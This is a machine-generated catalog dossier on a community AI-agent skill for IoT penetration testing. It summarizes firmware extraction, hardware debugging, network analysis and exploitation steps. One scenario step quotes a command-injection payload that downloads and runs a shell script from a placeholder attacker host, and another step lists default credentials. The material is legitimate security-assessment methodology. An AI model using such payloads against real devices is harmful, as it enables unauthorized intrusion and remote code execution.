Back to catalog
Static reviewDevelopment

Skill dossier

performing-iot-security-assessment

Source declaration

Performs comprehensive security assessments of IoT devices and their ecosystems by testing hardware interfaces, firmware, network communications, cloud APIs, and companion mobile applications. The tester uses firmware extraction and analysis, hardware debugging via UART and JTAG, network protocol analysis, and runtime exploitation to identify vulnerabilities across all layers of the IoT stack. Activates for requests involving IoT security testing, embedded device assessment, firmware security analysis, or smart device penetration testing.

The author's original description, preserved in English. It describes intent, not verified performance.

Performs comprehensive security assessments of IoT devices and their ecosystems by testing hardware interfaces, firmware, network communications, cloud APIs, and companion mobile applications. The tester uses firmware extraction and analysis, hardware debugging via UART and JTAG, network protocol analysis, and runtime exploitation to identify vulnerabilities across all layers of the IoT stack. Activates for requests involving IoT security testing, embedded device assessment, firmware security analysis, or smart device penetration testing.

developmentreferencesscripts

Research summary

Machine-generated analysis; pending human review

These observations come from deterministic source parsing, not a human security review or controlled task evaluation.

Performs comprehensive security assessments of IoT devices and their ecosystems by testing hardware interfaces, firmware, network communications, cloud APIs, and companion mobile applications. The tester uses firmware extraction and analysis, hardware debugging via UART and JTAG, network protocol analysis, and runtime exploitation to identify vulnerabilities across all layers of the IoT stack. Activates for requests involving IoT security testing, embedded device assessment, firmware security analysis, or smart device penetration testing. This bilingual summary is generated deterministically from collected source text and file structure; it is pending human editorial review.

Review scope

Deterministic static analysis of collected SKILL.md and supporting text/code. Machine-assisted candidates and findings await human editorial review; no dynamic behavior or effect is assessed.

Observable capabilities

  • Workflow [Source statement; provisional, not tested. Evidence: skills/performing-iot-security-assessment/SKILL.md:L55]
  • Step 1: Device Reconnaissance and Hardware Analysis [Source statement; provisional, not tested. Evidence: skills/performing-iot-security-assessment/SKILL.md:L57]
  • Step 2: Firmware Extraction and Analysis [Source statement; provisional, not tested. Evidence: skills/performing-iot-security-assessment/SKILL.md:L71]
  • Step 3: Network Communication Analysis [Source statement; provisional, not tested. Evidence: skills/performing-iot-security-assessment/SKILL.md:L90]
  • Step 4: Firmware Emulation and Dynamic Testing [Source statement; provisional, not tested. Evidence: skills/performing-iot-security-assessment/SKILL.md:L101]
  • Step 5: Exploitation and Impact Demonstration [Source statement; provisional, not tested. Evidence: skills/performing-iot-security-assessment/SKILL.md:L115]

Limitations & scope

  • Static analysis cannot assess runtime behavior, command success, network reachability, or model output quality.
  • No commands, scripts, network requests, model calls, or controlled skill executions were performed.
  • Category, tags, capabilities, workflows, and bilingual editorial summaries are deterministic candidates pending human review, not verified outcomes.
  • Exact token counts are unavailable until a later pipeline performs and records an official model-specific count.

Relevant for

  • Practitioners evaluating whether to inspect and install the source skill; this audience is inferred from the product context, not measured usage. [Evidence: skills/performing-iot-security-assessment/SKILL.md:L1-L34]

What ships with the skill

The file inventory comes from the collected source at the recorded commit. Paths and sizes are structural observations, not a measure of quality.

files
4
Markdown files
2
scripts
1
references
1
Size
33.4 KB
Structural complexity
Low

File inventory

PathTypeBytes
skills/performing-iot-security-assessment/LICENSEOther11 KB
skills/performing-iot-security-assessment/references/api-reference.mdReference1.7 KB
skills/performing-iot-security-assessment/scripts/agent.pyScript8.4 KB
skills/performing-iot-security-assessment/SKILL.mdInstruction12.4 KB

SKILL.md frontmatter

{
  "name": "performing-iot-security-assessment",
  "description": "Performs comprehensive security assessments of IoT devices and their ecosystems by testing hardware interfaces, firmware, network communications, cloud APIs, and companion mobile applications. The tester uses firmware extraction and analysis, hardware debugging via UART and JTAG, network protocol analysis, and runtime exploitation to identify vulnerabilities across all layers of the IoT stack. Activates for requests involving IoT security testing, embedded device assessment, firmware security analysis, or smart device penetration testing.\n",
  "domain": "cybersecurity",
  "subdomain": "penetration-testing",
  "tags": [
    "IoT-security",
    "firmware-analysis",
    "embedded-systems",
    "hardware-hacking",
    "UART-JTAG"
  ],
  "version": "1.0.0",
  "author": "mahipal",
  "license": "Apache-2.0",
  "nist_csf": [
    "ID.RA-01",
    "ID.RA-06",
    "GV.OV-02",
    "DE.AE-07"
  ],
  "mitre_attack": [
    "T1595",
    "T1190",
    "T1059",
    "T1078",
    "T1078.004"
  ]
}

A reading of the operating sequence

This workflow reconstructs the apparent sequence from source material. Unless controlled evaluation is explicitly recorded, it is provisional—not an observed trace.

  1. 01
    Decision

    When to Use

    Source-described decision candidate under “When to Use”; not verified execution.

  2. 02
    Action

    Workflow

    Source-described action candidate under “Workflow”; not verified execution.

  3. 03
    Action

    Step 1: Device Reconnaissance and Hardware Analysis

    Source-described action candidate under “Step 1: Device Reconnaissance and Hardware Analysis”; not verified execution.

  4. 04
    Action

    External inspection: Document all physical interfaces (USB, Ethernet, serial ports, SD card slots), labels, FCC ID, and model numbers

    Source-described action candidate under “Step 1: Device Reconnaissance and Hardware Analysis”; not verified execution.

  5. 05
    Action

    FCC ID lookup: Search the FCC database (fcc.gov/oet/ea/fccid) using the FCC ID to find internal photos, schematics, and radio frequency information

    Source-described action candidate under “Step 1: Device Reconnaissance and Hardware Analysis”; not verified execution.

  6. 06
    Action

    PCB analysis: Open the device enclosure and photograph the PCB. Identify:

    Source-described action candidate under “Step 1: Device Reconnaissance and Hardware Analysis”; not verified execution.

Inspect all extracted workflow candidates (63 candidate steps)
  1. 07
    Input

    Main processor/SoC (read markings, search datasheet)

    Source-described input candidate under “Step 1: Device Reconnaissance and Hardware Analysis”; not verified execution.

  2. 08
    Action

    Flash memory chips (SPI NOR, NAND, eMMC)

    Source-described action candidate under “Step 1: Device Reconnaissance and Hardware Analysis”; not verified execution.

  3. 09
    Action

    Debug headers and test points

    Source-described action candidate under “Step 1: Device Reconnaissance and Hardware Analysis”; not verified execution.

  4. 10
    Action

    UART/JTAG/SWD pins (look for 4-pin or 10-pin headers, or unpopulated pads)

    Source-described action candidate under “Step 1: Device Reconnaissance and Hardware Analysis”; not verified execution.

  5. 11
    Action

    UART identification: Use a multimeter to identify UART pins (TX, RX, GND, VCC). Connect USB-to-UART adapter and attempt serial console access at common baud rates (9600, 38400, 57600, 115200)

    Source-described action candidate under “Step 1: Device Reconnaissance and Hardware Analysis”; not verified execution.

  6. 12
    Action

    JTAG identification: Use JTAGulator or manual probing to identify JTAG pins (TCK, TMS, TDI, TDO, TRST). Connect JTAG debugger for memory access and debugging.

    Source-described action candidate under “Step 1: Device Reconnaissance and Hardware Analysis”; not verified execution.

  7. 13
    Action

    Step 2: Firmware Extraction and Analysis

    Source-described action candidate under “Step 2: Firmware Extraction and Analysis”; not verified execution.

  8. 14
    Action

    Extract and analyze the device firmware:

    Source-described action candidate under “Step 2: Firmware Extraction and Analysis”; not verified execution.

  9. 15
    Action

    Firmware acquisition methods:

    Source-described action candidate under “Step 2: Firmware Extraction and Analysis”; not verified execution.

  10. 16
    Action

    Download from manufacturer website or update server

    Source-described action candidate under “Step 2: Firmware Extraction and Analysis”; not verified execution.

  11. 17
    Input

    Extract from flash memory using SPI programmer: connect CH341A to SPI flash, read with `flashrom -p ch341aspi -r firmware.bin`

    Source-described input candidate under “Step 2: Firmware Extraction and Analysis”; not verified execution.

  12. 18
    Action

    Capture over-the-air updates via network interception

    Source-described action candidate under “Step 2: Firmware Extraction and Analysis”; not verified execution.

  13. 19
    Action

    Extract from UART bootloader console (U-Boot: `md.b` memory dump)

    Source-described action candidate under “Step 2: Firmware Extraction and Analysis”; not verified execution.

  14. 20
    Action

    Firmware unpacking: `binwalk -e firmware.bin` to extract filesystem, kernel, and bootloader components

    Source-described action candidate under “Step 2: Firmware Extraction and Analysis”; not verified execution.

  15. 21
    Action

    Filesystem analysis:

    Source-described action candidate under “Step 2: Firmware Extraction and Analysis”; not verified execution.

  16. 22
    Action

    Search for credentials: `grep -rn "password\|passwd\|secret\|key" squashfs-root/`

    Source-described action candidate under “Step 2: Firmware Extraction and Analysis”; not verified execution.

  17. 23
    Action

    Examine `/etc/shadow` for password hashes

    Source-described action candidate under “Step 2: Firmware Extraction and Analysis”; not verified execution.

  18. 24
    Action

    Review startup scripts in `/etc/init.d/` for insecure service configurations

    Source-described action candidate under “Step 2: Firmware Extraction and Analysis”; not verified execution.

  19. 25
    Action

    Identify web server configurations and CGI scripts for web interface vulnerabilities

    Source-described action candidate under “Step 2: Firmware Extraction and Analysis”; not verified execution.

  20. 26
    Action

    Use Firmwalker: `./firmwalker.sh squashfs-root/` for automated sensitive data discovery

    Source-described action candidate under “Step 2: Firmware Extraction and Analysis”; not verified execution.

  21. 27
    Action

    Binary analysis: Use Ghidra to reverse engineer key binaries (web server, management daemon, authentication modules) for hardcoded credentials, command injection, and buffer overflow vulnerabilities

    Source-described action candidate under “Step 2: Firmware Extraction and Analysis”; not verified execution.

  22. 28
    Action

    Known vulnerability scanning: Extract software versions and cross-reference with CVE databases. Use `firmware-analysis-toolkit` for automated CVE scanning.

    Source-described action candidate under “Step 2: Firmware Extraction and Analysis”; not verified execution.

  23. 29
    Action

    Step 3: Network Communication Analysis

    Source-described action candidate under “Step 3: Network Communication Analysis”; not verified execution.

  24. 30
    Action

    Analyze all network traffic from the IoT device:

    Source-described action candidate under “Step 3: Network Communication Analysis”; not verified execution.

  25. 31
    Action

    Traffic capture: Connect the device to a network with traffic mirroring (SPAN port) or use an inline transparent bridge. Capture all traffic with Wireshark.

    Source-described action candidate under “Step 3: Network Communication Analysis”; not verified execution.

  26. 32
    Action

    Protocol analysis: Identify all protocols used (HTTP, HTTPS, MQTT, CoAP, AMQP, custom TCP/UDP). Check for unencrypted sensitive data transmission.

    Source-described action candidate under “Step 3: Network Communication Analysis”; not verified execution.

  27. 33
    Action

    TLS analysis: Verify TLS implementation: certificate validation, cipher suite strength, certificate pinning. Attempt MITM interception with Burp Suite.

    Source-described action candidate under “Step 3: Network Communication Analysis”; not verified execution.

  28. 34
    Action

    Cloud API analysis: Intercept device-to-cloud communication to identify API endpoints, authentication methods, and data transmitted. Test for IDOR, authentication bypass, and excessive data exposure.

    Source-described action candidate under “Step 3: Network Communication Analysis”; not verified execution.

  29. 35
    Action

    Bluetooth/BLE testing: Use nRF Connect or Ubertooth to enumerate BLE services and characteristics. Test for unauthenticated access, plaintext data transmission, and static pairing keys.

    Source-described action candidate under “Step 3: Network Communication Analysis”; not verified execution.

  30. 36
    Action

    Zigbee/Z-Wave testing: Use KillerBee framework to capture and analyze Zigbee traffic, test for replay attacks, and check key exchange security.

    Source-described action candidate under “Step 3: Network Communication Analysis”; not verified execution.

  31. 37
    Action

    Step 4: Firmware Emulation and Dynamic Testing

    Source-described action candidate under “Step 4: Firmware Emulation and Dynamic Testing”; not verified execution.

  32. 38
    Action

    QEMU emulation: Use FirmAE or Firmadyne to emulate the extracted firmware: `python3 fat.py firmware.bin` to boot the firmware in an emulated environment

    Source-described action candidate under “Step 4: Firmware Emulation and Dynamic Testing”; not verified execution.

  33. 39
    Action

    Web interface testing: Access the device's web management interface from the emulated environment and test for:

    Source-described action candidate under “Step 4: Firmware Emulation and Dynamic Testing”; not verified execution.

  34. 40
    Action

    Default credentials (admin:admin, root:root, admin:password)

    Source-described action candidate under “Step 4: Firmware Emulation and Dynamic Testing”; not verified execution.

  35. 41
    Action

    Command injection in configuration parameters

    Source-described action candidate under “Step 4: Firmware Emulation and Dynamic Testing”; not verified execution.

  36. 42
    Action

    Authentication bypass via direct URL access

    Source-described action candidate under “Step 4: Firmware Emulation and Dynamic Testing”; not verified execution.

  37. 43
    Input

    Cross-site scripting in all input fields

    Source-described input candidate under “Step 4: Firmware Emulation and Dynamic Testing”; not verified execution.

  38. 44
    Action

    CSRF in state-changing operations

    Source-described action candidate under “Step 4: Firmware Emulation and Dynamic Testing”; not verified execution.

  39. 45
    Action

    Service testing: Use Nmap to scan the emulated device for all open ports and test each service for known vulnerabilities

    Source-described action candidate under “Step 4: Firmware Emulation and Dynamic Testing”; not verified execution.

  40. 46
    Action

    Fuzzing: Fuzz network services using Boofuzz or AFL to discover memory corruption vulnerabilities in embedded services

    Source-described action candidate under “Step 4: Firmware Emulation and Dynamic Testing”; not verified execution.

  41. 47
    Action

    Step 5: Exploitation and Impact Demonstration

    Source-described action candidate under “Step 5: Exploitation and Impact Demonstration”; not verified execution.

  42. 48
    Action

    Remote code execution: Chain discovered vulnerabilities (command injection, buffer overflow) to achieve remote code execution on the device

    Source-described action candidate under “Step 5: Exploitation and Impact Demonstration”; not verified execution.

  43. 49
    Action

    Credential extraction: Extract and crack credentials found in firmware, memory dumps, or network captures

    Source-described action candidate under “Step 5: Exploitation and Impact Demonstration”; not verified execution.

  44. 50
    Action

    Lateral movement: Demonstrate how a compromised IoT device can be used to attack other devices on the network

    Source-described action candidate under “Step 5: Exploitation and Impact Demonstration”; not verified execution.

  45. 51
    Action

    Persistence: Show how an attacker could maintain access to the device across firmware updates or reboots

    Source-described action candidate under “Step 5: Exploitation and Impact Demonstration”; not verified execution.

  46. 52
    Action

    Physical impact: For IIoT devices, demonstrate the potential for physical manipulation (changing sensor readings, modifying actuator commands)

    Source-described action candidate under “Step 5: Exploitation and Impact Demonstration”; not verified execution.

  47. 53
    Action

    Key Concepts

    Source-described action candidate under “Key Concepts”; not verified execution.

  48. 54
    Action

    Tools & Systems

    Source-described action candidate under “Tools & Systems”; not verified execution.

  49. 55
    Action

    Common Scenarios

    Source-described action candidate under “Common Scenarios”; not verified execution.

  50. 56
    Action

    Open the camera and identify UART pins on the PCB; connect and access a root shell at 115200 baud with no password

    Source-described action candidate under “Scenario: Enterprise IP Camera Security Assessment”; not verified execution.

  51. 57
    Action

    Extract firmware from the SPI flash chip and analyze with Binwalk: discover embedded Linux with BusyBox, lighttpd web server, and custom management daemon

    Source-described action candidate under “Scenario: Enterprise IP Camera Security Assessment”; not verified execution.

  52. 58
    Action

    Find hardcoded credentials in `/etc/shadow` (root:$1$abc$hashedpassword) and crack the MD5 hash in seconds (password: camera123)

    Source-described action candidate under “Scenario: Enterprise IP Camera Security Assessment”; not verified execution.

  53. 59
    Action

    Web interface testing reveals command injection in the NTP server configuration field: `; wget http://attacker.com/shell.sh | sh`

    Source-described action candidate under “Scenario: Enterprise IP Camera Security Assessment”; not verified execution.

  54. 60
    Action

    Network analysis shows the camera sends RTSP streams unencrypted and has ONVIF services exposed without authentication

    Source-described action candidate under “Scenario: Enterprise IP Camera Security Assessment”; not verified execution.

  55. 61
    Action

    Demonstrate pivoting: from the compromised camera, scan the corporate network and access 3 internal servers

    Source-described action candidate under “Scenario: Enterprise IP Camera Security Assessment”; not verified execution.

  56. 62
    Output

    Report recommends network segmentation, firmware vendor engagement, and deployment of cameras on an isolated VLAN

    Source-described output candidate under “Scenario: Enterprise IP Camera Security Assessment”; not verified execution.

  57. 63
    Output

    Output Format

    Source-described output candidate under “Output Format”; not verified execution.

Potential risk surfaces

Static findings identify points to inspect before installation. They do not establish that a skill is safe, malicious, or effective.

Attention recommended

25 deterministic lexical finding(s) require review across the collected text. Findings can occur in documentation and do not prove execution or exploitability; binary-only files were not scanned.

Network accessObserved
File writesObserved
Credential useObserved
Medium

Network access is mentioned

9 occurrences

A URL or network client appears in this source line. Review destinations, data sent, and trust boundaries; static text cannot establish actual network activity. This rule matched 9 location(s) in the collected text; 3 representative location(s) are cited. Matching text may be documentation, and the analyzer did not execute it.

Note

File modification is described or implemented

14 occurrences

This line contains a possible file-write or redirection operation. Check destination paths and overwrite behavior; the static review did not write any file. This rule matched 14 location(s) in the collected text; 3 representative location(s) are cited. Matching text may be documentation, and the analyzer did not execute it.

High

Credential or secret material is referenced

This line resembles a credential literal or reads a sensitive environment value. Do not expose its contents; verify whether it is a placeholder, required secret, or accidentally committed material. This rule matched 1 location(s) in the collected text; 1 representative location(s) are cited. Matching text may be documentation, and the analyzer did not execute it.

High

Downloaded content may be executed

This line combines retrieval and execution. Such patterns can run mutable remote code. Review pinning, integrity checks, and isolation; the analyzer performed no download or execution. This rule matched 1 location(s) in the collected text; 1 representative location(s) are cited. Matching text may be documentation, and the analyzer did not execute it.

Where context can be spent

Discovery, activation, and resource layers have different meanings. Exact values appear only when the official token-counting method was run with a named model.

Exact token counts unavailable

All token values, including per-file inventory, are null until the pipeline performs an official exact count with an explicit model.

No token measurement was recorded with the required official method. This dossier does not substitute character counts, file sizes, or estimates.

Controlled evaluation

No controlled evaluation

This skill has only the evidence identified above. No task success, token efficiency, latency, or quality advantage is claimed.

Not tested

Use with the source in view

Install command
Inspect the pinned source at https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/54a798831d2266a3ca61ce68a7acb80b81160d57/skills/performing-iot-security-assessment/SKILL.md and follow the source repository's installation instructions. No installation was performed or verified by this static analyzer. Source license: Apache-2.0.

Prerequisites

  • Static analysis cannot assess runtime behavior, command success, network reachability, or model output quality.
  • No commands, scripts, network requests, model calls, or controlled skill executions were performed.
  • Category, tags, capabilities, workflows, and bilingual editorial summaries are deterministic candidates pending human review, not verified outcomes.
  • Exact token counts are unavailable until a later pipeline performs and records an official model-specific count.

Example prompts

Not provided

A decision, with its limits attached

Strengths

  • The snapshot contains 4 collected file(s), 2 Markdown file(s), and 1 script file(s), enabling source-level inspection. [Evidence: skills/performing-iot-security-assessment/SKILL.md:L1]

Considerations

  • No functional, security, or model-quality result has been established. Human review must inspect source context and all cited findings before installation or publication.
Research conclusion

Provisional deterministic static inventory only; pending human editorial review and, separately, controlled evaluation. No install recommendation, security assurance, or effectiveness claim is made.

Traceable by construction

The dossier is a time-bound reading of a public artifact, not an endorsement. Use the source link to inspect the exact upstream material.

mukul975Anthropic-Cybersecurity-Skillsskills/performing-iot-security-assessment
Source type
Community
Commit
54a798831d2266a3ca61ce68a7acb80b81160d57
Collected
20 Nov 2026
Last checked
20 Nov 2026
Upstream license
Apache-2.0
Repository stars
36,446
Content basis

Deterministic lexical parsing, YAML frontmatter validation, file inventory, source-described workflow extraction, and heuristic provisional classification of the supplied files only. Generated by machine; no LLM, execution, dynamic testing, or human editorial approval.